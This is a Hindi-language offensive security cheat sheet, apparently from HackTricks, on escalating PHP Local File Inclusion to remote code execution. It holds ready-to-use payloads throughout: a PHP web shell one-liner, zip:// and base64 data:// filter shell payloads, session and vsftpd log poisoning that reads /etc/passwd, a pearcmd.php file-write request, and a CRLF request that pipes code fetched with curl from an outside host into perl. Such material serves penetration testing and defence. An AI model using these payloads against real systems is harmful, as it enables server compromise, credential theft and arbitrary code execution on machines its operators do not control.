यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload इंजेक्ट कर दें (उदा : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पठनीय बनाए रखने के लिए, तस्वीरों/doc/pdf के मेटाडेटा में इंजेक्ट करना सबसे अच्छा है

ZIP फ़ाइल अपलोड के माध्यम से

एक compressed PHP shell वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions के माध्यम से

जांचें कि क्या वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये sessions /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में संग्रहीत होते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie को <?php system('cat /etc/passwd');?> पर सेट करें

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI का उपयोग करके PHP session file को include करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के माध्यम से

यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और पहुँचने की कोशिश करें <HOME>/.ssh/id_rsa

के माध्यम से vsftpd लॉग्स

FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log पर स्थित होते हैं। यदि Local File Inclusion (LFI) vulnerability मौजूद है और vsftpd server एक्सपोज़्ड है, तो निम्नलिखित कदम किए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload inject करें।
  2. Injection के बाद, LFI का उपयोग करके सर्वर लॉग /var/log/vsftpd.log प्राप्त करें।

php base64 filter के माध्यम से (using base64)

जैसा कि this article में दिखाया गया है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension check को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह सिर्फ "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक example payload है:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters के माध्यम से (किसी फ़ाइल की आवश्यकता नहीं)

This writeup बताता है कि आप आउटपुट के लिए php filters to generate arbitrary content का उपयोग कर सकते हैं। इसका मूल रूप से मतलब है कि आप include के लिए generate arbitrary php code बना सकते हैं without needing to write इसे किसी फ़ाइल में लिखे बिना।

LFI2RCE via PHP Filters

segmentation fault के माध्यम से

अपलोड करें एक फ़ाइल जो /tmp में अस्थायी के रूप में संग्रहीत होगी, फिर उसी request, में एक segmentation fault ट्रिगर करें, और तब अस्थायी फ़ाइल हटाई नहीं जाएगी और आप इसे खोज सकते हैं।

LFI2RCE via Segmentation Fault

Nginx temp file storage के माध्यम से

यदि आपको Local File Inclusion मिली है और Nginx PHP के सामने चल रहा है, तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपको Local File Inclusion मिला है भले ही आपकी session न हो और session.auto_start Off हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में प्रदान करते हैं, तो PHP आपके लिए session को सक्षम कर देगा। आप इसे RCE प्राप्त करने के लिए दुरुपयोग कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows में temp file uploads के माध्यम से

यदि आपको Local File Inclusion मिला है और सर्वर Windows पर चल रहा है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE Via temp file uploads

pearcmd.php + URL args के माध्यम से

As explained in this post, स्क्रिप्ट /usr/local/lib/phppearcmd.php php docker images में डिफ़ॉल्ट रूप से मौजूद होती है। इसके अतिरिक्त, स्क्रिप्ट को URL के माध्यम से arguments पास करना संभव है क्योंकि यह संकेत दिया गया है कि यदि किसी URL param में = नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। साथ ही देखें watchTowr’s write-up और Orange Tsai’s “Confusion Attacks”.

निम्न request /tmp/hello.php में <?=phpinfo()?> सामग्री के साथ एक फ़ाइल बनाता है:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (स्रोत: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() के द्वारा (file_uploads = on)

यदि आपने Local File Inclusion पाया और एक फ़ाइल जो phpinfo() को एक्सपोज़ करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure के द्वारा

यदि आपने Local File Inclusion पाया है और आप टेम्प फ़ाइल का path exfiltrate कर सकते हैं, BUT server यह checking कर रहा है कि include की जाने वाली फ़ाइल में PHP marks हैं, तो आप इस Race Condition के साथ उस check को bypass करने की कोशिश कर सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce के द्वारा

यदि आप LFI का दुरुपयोग करके upload temporary files कर सकते हैं और server में PHP execution को hang करवा सकते हैं, तो आप घंटों तक brute force filenames करके temporary file ढूंढ सकते हैं:

LFI2RCE via Eternal waiting

Fatal Error तक

यदि आप निम्न फ़ाइलों में से किसी को include करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar। (उस त्रुटि को फेंकने के लिए आपको एक ही फ़ाइल को 2 बार include करने की आवश्यकता है।)

मुझे नहीं पता यह कितना उपयोगी है पर यह उपयोगी हो सकता है।
भले ही आप एक PHP Fatal Error उत्पन्न कर दें, PHP द्वारा अपलोड की गई temporary files हटा दी जाती हैं.

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें